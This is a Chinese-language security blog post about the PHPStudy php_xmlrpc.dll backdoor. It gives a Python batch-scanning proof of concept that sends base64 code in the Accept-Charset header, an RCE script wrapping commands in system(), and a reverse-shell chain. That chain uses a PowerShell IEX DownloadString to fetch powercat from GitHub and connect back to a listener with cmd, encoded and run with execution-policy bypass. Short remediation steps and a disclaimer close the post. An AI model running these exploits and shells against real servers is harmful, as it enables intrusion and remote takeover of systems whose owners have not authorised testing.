TIDE_网络安全

有染PHPStudy_BackDoor

2019-09-29  本文已影响0人  RabbitMask

前不久PHPStudy几乎要被玩坏,几乎没有什么技术水准的利用方式,破坏性却是巨大的。笔者亦是PHPStudy的铁粉,果不其然手头的服务器全部沦陷,心疼自己一秒,好在相关人员已经落网,这份长达多年的闹剧终于画上了个句号。

从一个渗透测试工作者角度出发,我们来后知后觉的探究下这个后门的利用方式,来引起警示并帮助同为PHPStudy铁粉的用户进行批量快速的自己检测以即使的发现并修复漏洞。

不管是第三方下载的还是官网下载的phpstudy均存在后门,存在于php5.4.45和php5.2.17,当切换到其他版本漏洞是不存在的。

有问题的文件:

Phpstudy\PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
Phpstudy\PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
Phpstudy\PHPTutorial\php\php-5.4.45-nts\ext\php_xmlrpc.dll

以上,大家已经在其它地方有所了解了,仅作简单回顾,接下来我们来讨论下关于它的批量检测与利用。

批量检测

批量检测的思路就是通过最简单的phpinfo();方法,来判断返回内容是否包含phpinfo字样来判断是否存在后门。
值得一提的是使用burp重放时,"Accept-Encoding": "gzip,deflate"deflate前面是默认存在一个空格的,会导致复现失败。

def ProofOfConcept(url):
    if 'http' not in url and 'https' not in url:
        url = "http://" + url
    headers = {
            "User-Agent" : choice(USER_AGENTS),
            "Accept-Charset": "cGhwaW5mbygpOw==",
            "Accept-Encoding": "gzip,deflate"
        }
    try:
        pocRequest = requests.get(url, headers=headers,timeout=TIME_OUT)
        if "phpinfo" in str(pocRequest.content):
            print('[+] {} is vulnerable.'.format(url))
            fw=open('phpstudy_backdoor_urls.txt','a')
            fw.write(url+'\n')
            fw.close()
        else:
            print('[-] {} is invulnerable.'.format(url))
    except :
        print('[*] {} Looks Like Something Wrong.'.format(url))

我们通过多进程并发来实现对多目标的批量检测,核心poc为上述代码。

运行demo:
python phpstudy_backdoor_poc.py

[+] http://127.0.0.1 is vulnerable.
[-] http://192.168.1.1 is invulnerable.
[*] http://192.168.1.2 Looks Like Something Wrong.
[*] http://192.168.1.3 Looks Like Something Wrong.

命令执行

rce的复现方式原理和poc相同,借助脚本实现base64自动转换,方便我们执行明文命令。

command="system('{}');".format(command)
command = base64.b64encode(command.encode('utf-8'))
#运行demo:
Usage: python3 phpstudy_backdoor_exp.py [url] [command]
python phpstudy_backdoor_exp.py 127.0.0.1 whoami

[+] Command Execute Successful.
rabbitmask\rabbitmask

反弹shell

就目前版本来讲,phpstudy是部署在Windows平台(确实存在linux版本,发布不久测试阶段)居多,主流Windows平台均已支持powershell(win7/server2008以上),我们反弹shell的探究借助powershell实现。

一、借助powershell配置powercat反弹shell的payload并Base64加密。

(powercat:powershell版的netcat,级别:神器)

$text = "IEX (New-Object  System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.254 -p 6666 -e cmd;" 
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text) 
$EncodedText =[Convert]::ToBase64String($Bytes) 
$EncodedText > bs64.txt
二、借助powershell进行bypass处理
system('powershell -exec bypass -encodedcommand [bs64.txt内容]');
三、base64加密后交给Accept-Charset参数提交payload
Accept-Charset: [base64(bypass)]

关于脚本的实现需要提一句,ps1格式脚本执行默认是关闭的,需要在powershell中执行set-executionpolicy remotesigned开启允许脚本执行。

脚本实现:
def payload():
    fw=open('bs64.ps1','w')
    fw.write('$text = "IEX (New-Object  System.Net.Webclient).DownloadString(\'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\'); powercat -c {} -p {} -e cmd;"'.format(listen_host,listen_port)+'\n')
    fw.write("$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)"+'\n')
    fw.write("$EncodedText =[Convert]::ToBase64String($Bytes)"+'\n')
    fw.write("$EncodedText > bs64.txt"+'\n')
    fw.close()
    os.system('PowerShell.exe -file bs64.ps1')
    fr=open('bs64.txt','r',encoding='utf-16-le')
    bs64=fr.readline()
    fr.close()
    bypass='powershell -exec bypass -encodedcommand {}'.format(bs64)
@phpstudy_backdoor_exp.py
#请配置监听地址与端口
listen_host='192.168.1.254'
listen_port='6666'
运行demo:
Usage: python3 phpstudy_backdoor_exp.py [url]
python phpstudy_backdoor_shell.py 192.168.1.254
nc -lvvp [port]

一键bypass反弹shell:

到这里总有人想吐槽一句,明明可以RCE为什么还要反弹shell,两点:1、内网pc,2、长命令与特殊字符编码

声明:

本文章内容仅供技术探讨,旨在帮助更多用户高效的发现自己的服务器问题并对漏洞危害性提高认识,请勿用户非授权测试。

修复:

1、php官网替换对应版本文件
2、phpstudy官网更新最新版phpstudy

工具地址:https://github.com/rabbitmask/PHPStudy_BackDoor

上一篇 下一篇

猜你喜欢

热点阅读